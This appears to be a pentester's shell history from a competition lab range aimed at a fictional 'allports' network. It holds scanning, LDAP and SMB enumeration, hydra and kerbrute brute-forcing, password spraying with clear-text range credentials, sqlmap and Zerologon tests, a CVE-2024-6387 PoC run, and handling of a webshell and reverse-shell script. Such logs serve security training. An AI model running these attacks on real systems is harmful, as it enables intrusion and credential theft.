_raw: : 1760818057:0;ffuf -u http://10.0.1.15:8080/api/FUZZ.php -w /usr/share/wordlists/dirb/big.txt -v


_raw: : 1760818048:0;ffuf -u http://10.0.1.15:8080/api/FUZZ.php -w /usr/share/wordlists/dirb/big.txt


_raw: : 1760818042:0;gobuster dir -u http://10.0.1.15:8080/api/FUZZ.php -w /usr/share/wordlists/dirb/big.txt


_raw: : 1760818038:0;gobuster dir -u http://10.0.1.15:8080/api/FUZZ.php -w /usr/share/wordlists/dirb/big.txt -v


_raw: : 1760818036:0;gobuster dir -u http://10.0.1.15:8080/api/FUZZ.php -w /usr/share/wordlists/dirb/big.txt -vv


_raw:
dig axfr 10.0.1.6
dig 10.0.1.6
dig prod.allports.local


_raw:
sudo nmap -sV --script default 10.0.1.15 -oA 15_scripts1
ssh rdavis@10.0.1.10
ssh rdavis@10.0.1.11
ssh rdavis@10.0.1.14
ssh rdavis@10.0.1.15
ssh rdavis@10.0.1.30
ssh rdavis@10.0.1.99
ssh root@10.0.1.30
ssh root@10.0.1.99
ssh root@10.0.1.15
ssh root@10.0.1.14
ssh root@10.0.1.11
ssh root@10.0.1.14
ssh root@10.0.1.15
ssh root@10.0.1.99
git clone https://github.com/d0rb/CVE-2024-6387
cd CVE-2024-6387
ls
python PoC.py
python PoC.py -h
htop
lscpu
python PoC.py -h
python PoC.py --num_threads 4 10.0.1.10 22
python PoC.py -h
python PoC.py --num_threads 4 10.0.1.15 22
cd ..
git clone https://github.com/vatiax/CVE-2024-6387_Check
git clone https://github.com/xatiax/CVE-2024-6387_Check
git clone https://github.com/xaitax/CVE-2024-6387_Check
cd CVE-2024-6387_Check
python CVE-2024-6387_Check.py 10.0.1.10 --ports 22
python CVE-2024-6387_Check.py 10.0.1.11 --ports 22
python CVE-2024-6387_Check.py 10.0.1.14 --ports 22
python CVE-2024-6387_Check.py 10.0.1.15 --ports 22
python CVE-2024-6387_Check.py 10.0.1.30 --ports 22
python CVE-2024-6387_Check.py 10.0.1.99 --ports 22
exit


_raw: : 1760818029:0;gobuster dir -u http://10.0.1.15:8080/api/FUZZ.php -w /usr/share/wordlists/dirb/big.txt


_raw:
sudo lsof -i :445
sudo lsof -i :80
kill -9 797299
kill -9 767299
sudo kill -9 767299
sudo lsof -i :80
sudo kill -9 767300
sudo kill -9 767301
sudo kill -9 767302
sudo kill -9 767303
sudo lsof -i :80


_raw: : 1760817940:0;crackmapexec smb 10.0.1.99 -u user -p IamTheCaptain --shares


_raw: : 1760817798:0;nxc smb 10.0.1.20 -u Administrator -p 'Cyb3rrange!'


_raw: : 1760817793:0;nxc smb 10.0.1.6 -u Administrator -p 'Cyb3rrange!'


_raw: : 1760817774:0;hydra -L sorted-users.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt ssh://10.0.1.11 -t 4


_raw: : 1760817758:0;go get hithub.com/ropnop/kerbrute


_raw: : 1760817756:0;hydra -L sorted-users.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt ssh://10.0.1.11


_raw: : 1760817719:0;nxc smb 10.0.1.6 -u Administrator -p 'Cyb3rrange!'


_raw: : 1760817708:0;nxc smb 10.0.1.20 -u Administrator -p 'Cyb3rrange!'


_raw: : 1760817667:0;ldapsearch -x -H ldap://10.0.1.6 -D "cn=rdavis,ou=users,dc=allports,dc=local" -W "dc=allports,dc=local" "(objectClass=*)"


_raw: : 1760817651:0;ldapsearch -x -H ldap://10.0.1.6 -D "cn=rdavis,ou=users,dc=allports,dc=local" -w rosdav50 -b "dc=allports,dc=local" "(objectClass=*)"


_raw: : 1760817618:0;nxc smb 10.0.1.6-21 -u usernames.txt -p password.txt | grep -v FAILURE


_raw: : 1760817581:0;nxc smb 10.0.1.6-21 -u usernames.txt -p password.txt


_raw: : 1760817566:0;nxc smb 10.0.1.6-21 -U usernames.txt -P password.txt


_raw: : 1760817559:0;wc -l xato-net-10-million-passwords-10.txt


_raw: : 1760817558:0;./kerbrute bruteuser ~/passwords.txt bfinn -d allports.local --dc 10.0.1.6


_raw:
nmap 10.0.1.0/24
netexec ldap 10.0.1.6 -u '' -p '' --query "objectClass=*)" ""
netexec ldap 10.0.1.6 -u '' -p '' --query "sAMAccountName=*)" ""
netexec ldap 10.0.1.6 -u '' -p ''
apt install ldapdomaindump
sudo apt install ldapdomaindump
ldapdomaindummp
python3-ldapdomaindump
sudo apt install python3-ldapdomaindump
python3-ldapdomaindump 10.0.1.6
python3 ldapdomaindump.py ldap://10.0.1.6
sudo apt update\
sudo apt install -y git python3 python3-pip python3-venv python3-dev build-essential \\
                    libldap2-dev libsasl2-dev libssl-dev\
ldapdomaindump 10.0.1.6
ls
vi users.txt
vi domain_computers.grep
rm domain_computers.grep
vi domain_computers.html
rm domain_computers.json domain_computers_by_os.html
ls
rm domain_computers.html domain_groups.grep
ls
rm domain_groups.html domain_groups.json domain_policy.grep domain_policy.html
domain_policy.json
rm domain_trusts.grep domain_trusts.html domain_trusts.json domain_users.grep
domain_users.html domain_users.json domain_users_by_group.html
ls
rm domain_users.htmls domain_users.json domain_policy.json
ls
rm domain_users.html domain_users_by_group.html
ls
nikto -h 10.0.1.13
nikto -h 10.0.1.14
curl -v http://10.0.1.6/wsman
crackmapexec winrm 10.0.1.6
sudo apt install evil-winrm
curl -i -X OPTIONS http://10.0.1.14:5001/
curl -v http://10.0.1.14:5001
cd /usr/share/seclists/Discovery
cd Web-Content
ls
feroxbuster -u http://10.0.1.14 -w raft-medium-words.txt
feroxbuster -u http://10.0.1.14 -w web-extensions.txt
curl -i -X PUT http://10.0.1.14/test_input -d "test" -H "Content-Type: text/plan"
curl -i https://10.0.1.14/test_input
curl -i http://10.0.1.14/test_input
curl -I http://10.0.1.14/test_input
curl -X GET http://10.0.1.14/test_input
mfsconsole
msfconsole
nikto 10.0.1.15
nikto -h 10.0.1.15
mysql 10.0.1.15 --ssl-mode=DISABLED
mysql 10.0.1.15 --ssl=0
mysql -u admin -p admin -h 10.0.1.15
mysql -u -p -h 10.0.1.15
mysql -u -p -h 10.0.1.15 --ssl-ignore
mysql -h 10.0.1.15 -u root
mysql -u admin -p -h 10.0.1.15 --ssl=0
mysql -u  -p -h 10.0.1.15 --ssl=0
mysql -h 10.0.1.15 --ssl=0
mysql -u ''  -p '' -h 10.0.1.15 --ssl=0
clear
telnet 10.0.1.15 3306
nc -v 10.0.1.15 3306
sudo apt instsall autorecon
sudo apt install autorecon
autorecon -o enumeration 10.0.1.6
sudo autorecon -o enumeration 10.0.1.16
sudo autorecon -o enumeration 10.0.1.6


_raw:
ls
cat password.txt
ls -l
ls -help
ls --help
ls -Rl
ls
cd ..
ls
cd pentester
ls
cd thinclient_drives
ls
cd ..


_raw:
ls
clear
ls
ll
ls
sudo
clear
ls
cd /home/pentester/ls
ls
su root
sudo su


_raw: : 1760817512:0;docker-compose -f docker-compose.yml up -d notus-data vulnerability-tests scap-data dfn-cert-data


_raw:
: 1760817500:0;mysql mysql://username:password@hostname:port/database_name\
mysql://root:REDACTED_EMAIL:3306/app_db


_raw: : 1760817471:0;hashcat -a 0 -m 100 hash /usr/share/wordlists/rockyou.txt.gz


_raw: : 1760817467:0;echo 'test' > passwords.txt


_raw: : 1760817454:0;hashcat -a 0 hash /usr/share/wordlists/rockyou.txt.gz


_raw:
: 1760817451:0;	\
docker-compose -f docker-compose.yml  pull notus-data vulnerability-tests scap-data dfn-cert-data


_raw: : 1760817439:0;hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt.gz


_raw: : 1760817422:0;curl 10.0.1.99/api/emergencies/security -H "Host: cc-1234.rooms.allports.tours"


_raw: : 1760817407:0;curl 10.0.1.99/api/emergencies -H "Host: cc-1234.rooms.allports.tours"


_raw: : 1760817384:0;cat users.txt | sort | uniq > sorted-users.txt


_raw: : 1760817384:0;mv filtered_words.txt passwords.txt


_raw: : 1760817374:0;cat users.txt | sort | uniq | sorted-users.txt


_raw: : 1760817248:0;cp users.txt users.txt.bak


_raw: : 1760817149:0;ffuf -u http://10.0.1.15:8090/FUZZ -w /usr/share/dirb/wordlists/big.txt


_raw: : 1760817143:0;ffuf -H -u http://10.0.1.15:8090/FUZZ -w /usr/share/dirb/wordlists/big.txt


_raw: : 1760817096:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=tours"


_raw: : 1760817077:0;ldapsearch -H ldap://10.0.1 -x -b "DC=allports,DC=tours"


_raw: : 1760816954:0;gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760816949:0;gobuster dir -u https://10.0.1.15:8080 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760816934:0;sudo apt-get install yersinia


_raw: : 1760816929:0;gobuster dir -u https://10.0.1.14:80 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760816849:0;jporter, ecarter, dcarter, bfinn


_raw: : 1760816824:0;curl -H 'Host: test.rooms.allports.tours' https://10.0.1.14/ -k


_raw: : 1760816821:0;curl -H 'Host: test.rooms.allports.tours' https://10.0.1.14/


_raw: : 1760816819:0;sudo responder  \xB3I eth0 -dwP


_raw: : 1760816817:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.14/


_raw: : 1760816746:0;crackmapexec smb 10.0.1.20 -u user -p IamTheCaptain --shares


_raw: : 1760816689:0;ffuf -u 'http://10.0.1.99/api/admin/FUZZ?authorized=true' -H "Host: pp-d029.rooms.allports.tours" -w /usr/share/wordlists/dirb/big.txt -X POST


_raw: : 1760816681:0;pip3 install pkg_resources


_raw: : 1760816663:0;pip3 install -r requirements.txt


_raw: : 1760816660:0;ffuf -u 'http://10.0.1.99/api/admin/FUZZ?authorized=true' -H "Host: pp-d029.rooms.allports.tours" -w /usr/share/wordlists/dirb/big.txt


_raw: : 1760816654:0;ffuf -u 'http://10.0.1.99/api/admin/FUZZ?authorized=true' -H "Host: pp-d029.rooms.allports.tours" -w /usr/share/wordlists/dirb/big.txt -recursion


_raw: : 1760816641:0;pip3 install -r requirements.txt


_raw: : 1760816589:0;git clone https://github.com/ashumanpattnaik/http-request-smuggling.git


_raw: : 1760816550:0;sudo mousepad  /etc/responder/Responder.conf


_raw: : 1760816516:0;crackmapexec smb 10.0.1.20 -u admin -p IamTheCaptain --shares


_raw: : 1760816515:0;mv webshell.php webshell.php.jpg


_raw:
hostname -I
python3 -m http.server
ls
vim revshell.sh
python3 -m http.server


_raw: : 1760816472:0;sudo apt install bloodhound


_raw: : 1760816220:0;curl 10.0.1.99/annoucements.html -H "Host: bb-a173.rooms.allports.tours"


_raw: : 1760816175:0;python3 zerologon_tester.py APT-DC-01.allports.local 10.0.1.6


_raw:
: 1760816139:0;sqlmap -u 'http://10.0.1.30:8096/Users/authenticatebyname' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \\
  -H 'Accept: application/json' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Authorization: MediaBrowser Client="Jellyfin Web", Device="Firefox", DeviceId="TW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjoxMjguMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMjguMHwxNzYwODE2MDQ1ODQy", Version="10.10.7"' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.30:8096' \\
  -H 'Connection: keep-alive' \\
  -H 'Priority: u=0' \\
  --data-raw '{"Username":"jellyfin","Pw":"k"}'


_raw: : 1760816112:0;python3 zerologon_tester.py APT-DC-01.allports.local


_raw: : 1760816066:0;curl 10.0.1.99/admin.html -H "Host: admin.rooms.allports.tours"


_raw: : 1760816046:0;pip install -r requirements.txt --break-system-packages


_raw: : 1760816031:0;pip install -r requirements.txt


_raw: : 1760816025:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/admin.html


_raw: : 1760816014:0;git clone https://github.com/SecuraBV/CVE-2020-1472.git


_raw: : 1760823705:0;hydra -L /home/pentester/Downloads/malenames-usa-top1000.txt -p /usr/share/john/password.lst mysql://10.0.1.15:3306 -t 4 -f -V


_raw: : 1760815877:0;ldapsearch -x -H ldap://10.0.1.6 -b "CN=Configuration,DC=allports,DC=local" -s sub "(objectClass=user)" sAMAccountName -LLL


_raw: : 1760815864:0;mv webshell.php Documents


_raw:
#1760815858
python3 /root/mssqlclient/bin/mssqlclient.py boatgps@10.0.1.15


_raw: : 1760815851:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=user)" sAMAccountName -LLL


_raw:
#1760815789
python3 /root/mssqlclient/bin/mssqlclient.py boatgps@10.0.1.14


_raw:
#1760815762
which mssqlclient.py || python3 -c "import impacket; import pkgutil, imp; import os, inspect, impacket; import importlib; print('site-packages impacket examples path:'); import impacket.examples; import os; print(os.path.dirname(impacket.examples.__file__))"


_raw: : 1760815720:0;gpohound dump --json > ../gpo.json


_raw: : 1760815681:0;gpohound dump --json > ../gpo.json


_raw: : 1760815668:0;chown pentester webshell.php


_raw: : 1760815657:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/admin.html


_raw: : 1760815651:0;mv webshell.php pentester


_raw: : 1760815648:0;curl -X OPTIONS -H 'Host: test.rooms.allports.tours' http://10.0.1.99/admin.html


_raw: : 1760815631:0;sudo apt install SecLists


_raw: : 1760815627:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" -s sub "(objectClass=user)" sAMAccountName -LLL | grep '^sAMAccountName:' | awk '{print $2}' | sort -u


_raw:
ls
cat /var/log/cptc/logs/command.log
clear
nmap -T4 -p- 10.0.1.11 -oX 10.0.1.11.log.log
nmap -T4 -p- 10.0.1.6 -oX 10.0.1.6.log.log
clear
nmap -T4 -p- 10.0.1.99 -oX 10.0.1.99.log.log
clear
sudo apt install seclists
dig 10.0.1.11
whois 10.0.1.11
clear
ssh 10.0.1.11
clear
nslookup 10.0.1.14
nslookup https://10.0.1.14
nslookup http://10.0.1.14
wget https://10.0.1.14/
wget http://10.0.1.14/
wget https://10.0.1.14/
wget https://10.0.1.14/ --no-check-certificate
wget http://10.0.1.11/ --no-check-certificate
wget http://10.0.1.99/ --no-check-certificate
wget https://10.0.1.99/ --no-check-certificate
ping 10.0.1.99
netcat 10.0.1.99 80
netcat -lvnp 10.0.1.99 80
netcat -l 10.0.1.99 80
netcat 10.0.1.99 80
netcat 10.0.1.99 443
cat /etc/hosts
clear
nc 10.0.1.10 6768
clear
ffuf -u http://10.0.1.99:443/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
ffuf -u http://10.0.1.99:443/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
ffuf -u http://10.0.1.99:443/whoami/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
clear
nc 10.0.1.99 3306
mariadb 10.0.1.99 3306
mariadb -?
mariadb --host=10.0.1.99 -p 3306
mysql -h 10.0.1.99 -P 3306
mysql -h 10.0.1.99 -P 3306 -u -p
mysql -h 10.0.1.99 -P 3306 -u admin
mysql -h 10.0.1.99 -P 3306 -u admin -p admin
mysql -h 10.0.1.99 -P 3306 -u admin -p password
mysql -h 10.0.1.99 -P 3306 -u admin -p --ssl-mode=DISABLED
mysql -h 10.0.1.99 -P 3306
mysql -h 10.0.1.99 -P 3306 -u myuser
mysql -h 10.0.1.99 -P 3306 -u root
mysql -h 10.0.1.99 -P 3306 -u root -p
mysql -h 10.0.1.99 -P 3306 -u root -p --skip-ssl
mysql -h 10.0.1.99 -P 3306 -u root --skip-ssl
sqlmap
sqlmap -h
mysql -h 10.0.1.99 -P 3306 -u root --skip-ssl
mysql -h 10.0.1.99 -P 3306 -u root -p --skip-ssl
mysql -h 10.0.1.99 -P 3306 -u administrator -p --skip-ssl
mysql -h 10.0.1.99 -P 3306 -u administrator --skip-ssl
mysql -h 10.0.1.99 -P 3306 -u '' --skip-ssl
ssh root@10.0.1.99
ffuf -u http://FUZZ.rooms.allports.tours/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
evilwinrm
evil-winrm
clear
nc 10.0.1.10 6768
nc 10.0.1.14 5001
nc 10.0.1.14 5000
ffuf -u https://10.0.1.14/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
nc 10.0.1.14 443
ffuf -u https://10.0.1.11/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
ffuf -u https://10.0.1.11/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-directory-files.txt
ffuf -u https://10.0.1.11/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
ffuf -u https://10.0.1.11/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
ffuf -u https://10.0.1.11/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
ffuf -u https://10.0.1.11/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-actions.txt
ffuf -u https://10.0.1.11/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions.txt
ffuf -u https://10.0.1.11/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions.txt
ffuf -u https://10.0.1.11/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
searchsploit librechat
searchsploit libre
searchsploit jellyfin
ssh jellyfin@10.0.1.30
searchsploit librechat
nc 10.0.1.10 6768


_raw: : 1760815538:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt ldap://10.0.1.6


_raw:
#1760815507
nuclei -u http://chat.allports.com


_raw: : 1760815463:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=test,dc=local" -s sub "(objectClass=user)" sAMAccountName displayName userAccountControl -LLL


_raw: : 1760815348:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" -s sub "(objectClass=user)" sAMAccountName displayName userAccountControl -LLL


_raw:
cd University-Of-Tulsa
cd scripts
ls
ls -l docker_install.sh
chmod +x docker_install.sh
ls -l docker_install.sh
ls
cd docker_install.sh
sudo ./docker_install.sh
sudo docker run hello-world
ls
sudo ./network_tools.sh
docker run -it \\
  -p 7474:7474 \\
  -e DISPLAY=unix$DISPLAY \\
  -v /tmp/.X11-unix:/tmp/.X11-unix \\
  --device=/dev/dri:/dev/dri \\
  -v $(pwd)/bh-data:/data \\
  --name bloodhound belane/bloodhound
docker build . -t bloodhound
sudo docker build . -t bloodhound
ls
cd ../
ls
cd ./docker
ls
cd ./bloodhound
ls
sudo docker build . -t bloodhound
sudo docker compose	up


_raw:
ldapdomaindump -u "" -p "" 10.0.1.6
ldapdomaindump -h
nmap -p 445 --script smb-enum-users 10.0.1.6
nmap -p 445 --script smb-enum-users 10.0.1.20
nmap -p 445 --script smb-enum-users 10.0.1.21
nmap -p 445 --script smb2-enum-users 10.0.1.21
nxc smb 10.0.1.0/24
nxc smb 10.0.1.6 -u '' -p '' -M zerologon


_raw:
nmap 100.0.1.101-150 -O -p 80,443,389
nmap 10.0.1.101-150 -O -p 80,443,389
nmap 10.0.1.201-254 -O -p 80,443,389
nmap 10.0.1.21 -sV
sudo apt update
apt upgrade
sudo apt upgrade
clear
nmap 10.0.1.20 -sV
nmap 10.0.1.21 -sV
nmap 10.0.1.6 -sV
nslookup allports.local0
impacket
git clone https://github.com/fortra/impacket
nxc smb 10.0.1.6 -u "-p" -M zerologon
clear
mysql -u admin -p admin -h 10.0.1.99
mysql -u root  -h 10.0.1.99
mysql -u root -h 10.0.1.99 -p 8080
nmap 10.0.1.1/24 -O
nmap 10.0.1.1/24 -sV
touch full_scan.txt
vim full_scan.txt


_raw: : 1760815302:0;hydra -L unames -p '1gyroscope' -M hydraStuff/targets ssh


_raw:
ping 10.0.1.14
nmap -A
ifconfig
greenbone


_raw: : 1760815232:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=test,dc=local" -s sub "(objectClass=user)" sAMAccountName displayName userAccountControl -LLL


_raw: : 1760815131:0;nmap -sU -p 88,464 -sV --script krb5-enum-users,misc-info -T3 -oN scans/nmap-udp-krb 10.0.1.6\


_raw: : 1760815123:0;sudo nmap -sU -p 88,464 -sV --script krb5-enum-users,misc-info -T3 -oN scans/nmap-udp-krb 10.0.1.6\


_raw:
: 1760815114:0;sqlmap -u 'http://10.0.1.11/api/auth/login' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \\
  -H 'Accept: application/json, text/plain, */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.11' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: http://10.0.1.11/login' \\
  -H 'Cookie: mongo-express=s%3A66I1E9AZ8yuEOhchltgx8UTNrtYhOHgN.9pKEfuvl9BtBuExNWe76pV9gJ6GNwpbP%2BvS4wKUWJt4' \\
  -H 'Priority: u=0' \\
  --data-raw '{"email":"*","password":"test"}'


_raw: : 1760815092:0;mysql -h 10.0.1.15 --skip-ssl-verify-server-cert -u mysql -p


_raw:
: 1760815090:0;sqlmap -u 'http://10.0.1.11/api/auth/login' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \\
  -H 'Accept: application/json, text/plain, */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.11' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: http://10.0.1.11/login' \\
  -H 'Cookie: mongo-express=s%3A66I1E9AZ8yuEOhchltgx8UTNrtYhOHgN.9pKEfuvl9BtBuExNWe76pV9gJ6GNwpbP%2BvS4wKUWJt4' \\
  -H 'Priority: u=0' \\
  --data-raw '{"email":"test","password":"test"}'


_raw: : 1760815084:0;mysql -h 10.0.1.15 --skip-ssl-verify-server-cert -u root -p


_raw:
: 1760815079:0;curl 'http://10.0.1.11/api/auth/login' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \\
  -H 'Accept: application/json, text/plain, */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.11' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: http://10.0.1.11/login' \\
  -H 'Cookie: mongo-express=s%3A66I1E9AZ8yuEOhchltgx8UTNrtYhOHgN.9pKEfuvl9BtBuExNWe76pV9gJ6GNwpbP%2BvS4wKUWJt4' \\
  -H 'Priority: u=0' \\
  --data-raw '{"email":"test","password":"test"}'


_raw: : 1760815076:0;apt install -y ldap-utils


_raw: : 1760814958:0;ldapsearch -x -H ldap://10.0.1.6 -s base -b "" "(objectClass=*)" + -LLL > scans/ldap-rootdse.ldif\